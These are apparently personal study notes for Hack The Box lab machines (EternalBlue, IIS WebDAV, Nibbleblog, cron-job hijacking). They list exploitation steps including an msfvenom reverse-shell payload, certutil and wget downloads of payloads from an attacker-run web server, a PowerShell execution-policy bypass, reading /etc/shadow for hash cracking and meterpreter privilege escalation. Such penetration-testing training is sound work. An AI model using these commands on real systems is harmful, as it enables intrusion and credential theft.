HTBWalkthrough Reference
HTBWalkthrough Reference
metasploit (search smb_version) *Copy and use auxilary scanner to try to find version. Use the found information and search the web for exploit
Best Sites for Exploits: Rapid7
Exploitdb
Google Google version of the OS for exploits Found: metasploit ruby module
Post Exploitation: /etc/passwd (Users at the bottom)
/etc/shadow (Contains password hashes)
TOOL: kali: Unshadow (Prints unshadowed file. Take the output and try to crack the hashes using hashcat.)
Gather Network Info: arp -a, If/ipconfig, netstat, etc
Blue Walkthrough Info
SMB (ms17-010)
Common Service that you will see for Eternal Blue/Wannacry (Windows 7 Professional 7601 Service pack 1)
TOOLS: smbclient(kali)
msf(search for smb version)
AutoBlue (*Find on Github by 3ndG4me. This is a little bit more of a manual method where you don't use meterpreter )
Methods:
Automatic: Search with metasploit for auxilary scanner (search ms17-010)/Meterpreter shell
Manual: AutoBlue
UNSTAGED PAYLOAD: (generic/shell_reverse_tcp)
STAGED PAYLOAD: (generic/shell/reverse_tcp) ***if you are having trouble with getting a shell, try using a staged payload instead of an unstaged payload.
Devel Walkthrough Info
HTTP
Secondary Method:
** You can also use Meterpreter and generate your own payload with msfvenom: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f exe > sh.exe
** Use multi/handler as listener
Best way to transfer a file to a windows machine from our machine to a web server is:
The BEST way is to host a web server with python: python -m SimpleHTTPServer 80
Then, we go to the desired file in our shell and type certutil -urlcache -f http://x.x.x.x/sh.exe c:\users\administrator\desktop\sh.exe
* you can put the file anywhere. Does not have to be the same file location as the above example.
Set up listener/use multi/handler and engage the transferred payload
dirbuster/Dirb
CeWL Find the admin page and we can search for common logins and credentials or use CeWL to try words on the page, or use Burp Suite to brute force
*Enumerate the applicaton once logged in and find an exact version. Once we know the version, we can use the above exploit and use the found username and password
* Set targeturi /nibbleblog
* This uploads an image and gets us a shell. However this is with meterpreter and we are not root so we need to do some PrivEsc.
* in meterpreter
try sudo
type -lshell to get into machine
try history
Scripts that are GOLD when enumerating Linux: * Transfer the files onto the machines and then execute them.
LinEnum.sh
linuxprivchecker.py
check netsec for linux privledge escalation
PrivEsc: *Be sure to gather the OS Name and OS Version before performing any searching for PrivEsc Solutions cmd -> sysinfo
Things to try for automated:
getsystem
background -> search suggester -> use post/multi/recon/local_exploit_suggester
*local exploit suggester does not do well with x64, but it does do well with x32. So we will do manual post exploitation.
MANUAL Post Exploitation Solutions(s):
The bible of Privledge escalation: https://www.fuzzysecurity.com/tutorials/16.html
TOOL: https://github.com/rasta-mouse/Sherlock (Searches for Windows PrivEsc Vulnerabilities) (can also, after using sysinfo to find the OS, google for PrivEsc solutions)
Copy raw to file an save.
Transfer the file to the vicitm machine
Copy file to desktop of victim machine by first opening a web server on your machine -> python -m SimpleHTTPServer 80
The on the comprimised victim machine use -> certutil -urlcache -f http://x.x.x.x/copiedrawfile.ps1 copiedrawfile.ps1
Once transferred we will execute by using the following command -> powershell.exe -exe -bypass -Command "& {Import-Module .\copiedrawfile.ps1; Find-AllVulns}" This is used to enumerate for potential vulnerabilities
Try to su to the scriptmanager user without password. If this doesn’t work we can run commands as scriptmanager with the following syntax to gain access
sudo -u scriptmanager /bin/bash
* (Note: A command to get into root without supplying any password -> sudo su - )
Enumerate the scriptmanager file and find a chronjob file that we can overwrite "test.py". Note: that test.py executes as scriptmanager and then output is sent to a txt file that is owned by root.
Go to google and search for "python reverse shell" (Pentest Monkey has a great reverse shell cheatsheet for one liners)
Change python script bin/sh to bin/bash, set port and ip
Set up a netcat listener on our machine
Host a webserver
Transfer to the file to the victim machine by either overwriting the current test.py file, or rm test.py and then wget from our hosted web server
The file should execute when the chronjob calls it again, and this should connect to our listener if we've done things correctly
* Need to learn methods i.e. TRACE, COPY, PROPFIND, SEARCH, LOCK, UNLOCK, DELETE, PUT , MOVE, MKCOL, PROPPATCH, etc
* Also cover response codes
TOOLS: Google Microsoft IIS httpd 6.0 (https://www.exploit-db.com/exploits/41738) - Buffer overflow
Searchsploit ScStoragePathFromUrl (Found from google search on exploit-db)
Use Metasploit and search ScStoragePathFromUrl again
Use exploit/windows/iis/iis_webdav_scstoragepathfromurl
* May need to run a few times to get the shell to work
We are not root in our shell. So we need to pick a service and try to get a user.
try to migrate with meterpreter to the network service -> migrate PID
PrivEsc: *When using meterpreter, if the suggester payloads are not working you may need to migrate with meterpreter to a authority service.
background meterpreter type "ps" (Processes), and then "migrate PID". Return meterpreter to the background and rerun the suggested privesc exploit.
search suggester -> multi/recon/local_exploit_suggester
Copy and go downt the list to find a working local exploit (kitrap0d is good one)